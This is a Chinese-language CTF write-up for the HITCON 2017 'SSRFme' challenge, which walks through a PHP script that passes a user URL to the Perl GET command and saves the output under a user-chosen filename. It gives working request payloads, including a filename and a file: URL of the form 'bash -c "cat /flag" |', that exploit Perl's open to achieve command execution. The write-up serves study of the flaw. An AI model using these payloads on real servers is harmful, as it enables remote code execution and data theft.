[HITCON 2017]SSRFme

知识点

SSRF

Linux里的GET函数

escapeshellarg函数的巧妙利用

审计

其实这题应该算RCE也可以

开门见山贴出代码 审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

首先这个$_SERVER[“REMOTE_ADDR”]肯定是没办法动手脚的 点肯定不在这里 快快扫了一下代码 发现了file_put_content这个函数 感觉可以利用 再看看他的限制条件 两个过滤 一个是escapeshellarg一个是str_replace 没事不会给你设置过滤 考点在这

知识储备

这题学到的东西真的很多 也不禁感叹自己还是那么的菜

Linux里的GET函数

不同于php里的$_GET接收函数 但是又很像 比如我们在Linux里面输入

1
joe@LAPTOP-KB590SFR:/mnt/c/Users/20719$ GET "/"

注意双引号 输出的结果是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<HTML>
<HEAD>
<TITLE>Directory /</TITLE>
<BASE HREF="file:/">
</HEAD>
<BODY>
<H1>Directory listing of /</H1>
<UL>
<LI><A HREF="./">./</A>
<LI><A HREF="../">../</A>
<LI><A HREF="bin/">bin/</A>
<LI><A HREF="boot/">boot/</A>
<LI><A HREF="dev/">dev/</A>
<LI><A HREF="etc/">etc/</A>
<LI><A HREF="home/">home/</A>
<LI><A HREF="init">init</A>
<LI><A HREF="lib/">lib/</A>
<LI><A HREF="lib64/">lib64/</A>
<LI><A HREF="media/">media/</A>
<LI><A HREF="mnt/">mnt/</A>
<LI><A HREF="opt/">opt/</A>
<LI><A HREF="proc/">proc/</A>
<LI><A HREF="root/">root/</A>
<LI><A HREF="run/">run/</A>
<LI><A HREF="sbin/">sbin/</A>
<LI><A HREF="snap/">snap/</A>
<LI><A HREF="srv/">srv/</A>
<LI><A HREF="sys/">sys/</A>
<LI><A HREF="tmp/">tmp/</A>
<LI><A HREF="usr/">usr/</A>
<LI><A HREF="var/">var/</A>
</UL>
</BODY>
</HTML>

这个斜杠代表的就是当前目录 GET一下当前目录 其实相当于ls 当时不知道Linux还有这个指令的时候 就望着那个看了老半天

1
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));

所以 如何利用这个函数 刚刚例子看到了如果利用得当这个函数可以用来RCE 起码可以ls一下 而且发现这个escapeshellarg函数刚好可以帮我们构造双引号 因此url只要传一个斜杠就可以了

Pathinfo函数

这个函数不会的百度一下 以一个数组的形式返回关于这个文件路径以及文件名的信息 举个栗子

可以自己搭环境试一下 var_dump这个数组 如果我们传入filename=zhwyyswdg

1
2
3
4
5
array(3) { 
["dirname"]=> string(1) "."
["basename"]=> string(9) "zhwyyswdg"
["filename"]=> string(9) "zhwyyswdg"
}

别问为什么题目没回显 自己搭一个有回显的

1
@file_put_contents(basename($info["basename"]), $data);

小总结

好办 $data是我们刚刚用GET扫目录的结果 然后文件名我们可以自定义 file_put_content一下就生成了我们的文件 然后就是文件目录的问题 比如我们一开始传入一个filename=123abc 那么留心刚刚数组的dirname项 是个点

1
$dir  = str_replace(".", "", basename($info["dirname"])); 

而这条意思是把点都替换为空 然后在mkdir和chdir 然而我们如果就传个123abc mk了个寂寞 所以目录还是在当前的sandbox 所以我们只需要file_put_content之后去访问sandbox里面的文件就可以了

1
http://d11f854f-273e-485a-a5cd-2a4dcb8696a5.node3.buuoj.cn/sandbox/9b707f911fd709a72e1c2cfdb6970d2d/123abc

ok得到了我们的ls结果

RCE

我们目前只是dirscan了一下 题目也在提示我们要readflag 直接读读不了 后来才知道原来这个GET函数底层调用了Linux的open函数 这个函数有RCE漏洞 并且支持file协议 但是前提是 我们要创建一个和你要调用的命令完全相同的一个文件夹 我们预想的命令是

1
bash -c "cat /flag" |

注意管道符 open命令执行时要加一个管道符 那么我们要用这个命令就得创建这个文件夹 利用之前的前置知识

1
?url=aaaa&filename=bash -c "cat /flag" |

创建文件夹之后 我们用file协议读flag

1
?url=file:bash -c "cat /flag" |&filename=ccmt.txt

然后我们就可以访问这个ccmt.txt 拿到flag了

EOF